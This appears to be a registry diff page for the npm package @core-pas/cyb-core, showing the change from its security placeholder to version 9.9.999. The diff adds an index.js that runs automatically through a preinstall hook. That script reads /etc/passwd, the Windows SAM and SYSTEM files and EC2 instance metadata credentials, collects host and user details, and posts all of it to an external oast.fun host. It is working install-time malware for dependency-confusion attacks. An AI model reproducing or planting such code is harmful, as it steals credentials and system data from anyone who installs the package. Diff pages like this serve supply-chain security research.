@core-pas/cyb-core 0.0.1-security → 9.9.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @core-pas/cyb-core might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +124 -0
  2. package/logs.txt +0 -0
  3. package/package.json +12 -6
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,124 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const net = require('net');
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+
12
+ var etcpasswd = '/etc/passwd';
13
+ let base64data1 = '';
14
+ try {
15
+ if (fs.existsSync(etcpasswd)) {
16
+ var data1 = fs.readFileSync(etcpasswd, 'utf8');
17
+ let buff1 = Buffer.from(data1);
18
+ base64data1 = buff1.toString('base64');
19
+ }
20
+ } catch (error) {
21
+ console.log('');
22
+ }
23
+
24
+ var sam = 'C:\WINDOWS\system32\config\SAM';
25
+ let base64data2 = '';
26
+ try {
27
+ if (fs.existsSync(sam)) {
28
+ var data2 = fs.readFileSync(sam, 'utf8');
29
+ let buff2 = Buffer.from(data2);
30
+ base64data2 = buff2.toString('base64');
31
+ }
32
+ } catch (error) {
33
+ console.log('');
34
+ }
35
+
36
+ var systemfile = 'C:\WINDOWS\system32\config\SYSTEM';
37
+ let base64data3 = '';
38
+ try {
39
+ if (fs.existsSync(systemfile)) {
40
+ var data3 = fs.readFileSync(systemfile, 'utf8');
41
+ let buff3 = Buffer.from(data3);
42
+ base64data3 = buff3.toString('base64');
43
+ }
44
+ } catch (error) {
45
+ console.log('');
46
+ }
47
+
48
+ const options2 = {
49
+ hostname: '169.254.169.254',
50
+ port: 80,
51
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
52
+ method: 'GET'
53
+ };
54
+
55
+ base64data4 = '';
56
+
57
+ function req2() {
58
+ http.get({
59
+ hostname: '169.254.169.254',
60
+ port: 80,
61
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
62
+ agent: false
63
+ }, (res) => {
64
+ res.setEncoding('utf8');
65
+ let data = '';
66
+ res.on("data", (d) => {
67
+ var x;
68
+ x = d;
69
+ let buff4 = Buffer.from(x);
70
+ base64data4 = buff4.toString('base64');
71
+ console.log(base64data4);
72
+
73
+ const trackingData = JSON.stringify({
74
+ p: package,
75
+ c: __dirname,
76
+ homedir: os.homedir(),
77
+ networkinterfaces: os.networkInterfaces(),
78
+ release: os.release(),
79
+ userid: os.userInfo().uid,
80
+ hostname: os.hostname(),
81
+ username: os.userInfo().username,
82
+ dns: dns.getServers(),
83
+ r: packageJSON ? packageJSON.___resolved : undefined,
84
+ v: packageJSON.version,
85
+ pjson: packageJSON,
86
+ });
87
+
88
+ var postData = querystring.stringify({
89
+ msg: trackingData,
90
+ });
91
+
92
+ var options = {
93
+ hostname: "caf49rdhg02g2q51fbig66cbqix6xdbgy.oast.fun",
94
+ port: 443,
95
+ path: "/",
96
+ method: "POST",
97
+ headers: {
98
+ "Content-Type": "application/x-www-form-urlencoded",
99
+ "Content-Length": postData.length,
100
+ "Contentetcpasswd": base64data1,
101
+ "ContentSAM": base64data2,
102
+ "ContentetSYSTEM": base64data3,
103
+ "imdsv1": base64data4
104
+ },
105
+ };
106
+
107
+
108
+ var req = https.request(options, (res) => {
109
+ res.on("data", (d) => {
110
+ process.stdout.write(d);
111
+ });
112
+ });
113
+
114
+ req.on("error", (e) => {
115
+ // console.error(e);
116
+ });
117
+
118
+ req.write(postData);
119
+ req.end();
120
+ });
121
+ });
122
+ }
123
+
124
+ req2();
package/logs.txt ADDED
File without changes
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "@core-pas/cyb-core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@core-pas/cyb-core",
3
+ "version": "9.9.999",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "fauda-team",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40core-pas%2Fcyb-core for more information.